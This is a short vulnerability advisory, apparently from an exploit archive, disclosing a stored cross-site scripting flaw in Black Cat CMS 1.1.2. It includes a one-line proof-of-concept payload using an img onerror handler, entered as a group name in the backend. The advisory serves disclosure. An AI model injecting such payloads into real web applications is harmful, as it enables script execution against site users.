Black Cat CMS 1.1.2 Cross Site Scripting

2015.07.08

Credit: provensec

Risk: Low

Local: No

Remote: No

CVE: N/A

CWE: CWE-79

?# Affected software: black cat cms
# Type of vulnerability:stored xss
# URL:http://blackcat-cms.org/
# Discovered by: provensec
# Website: provensec.com

#version:BlackCat CMS 1.1.2
# Proof of concept?

goto ad group page
http://demo.opensourcecms.com/blackcat/backend/groups/index.php

and and new group with name as xss payload "><img src=d onerror=confirm(1);>

and javascript will execute

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Black Cat CMS 1.1.2 Cross Site Scripting

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.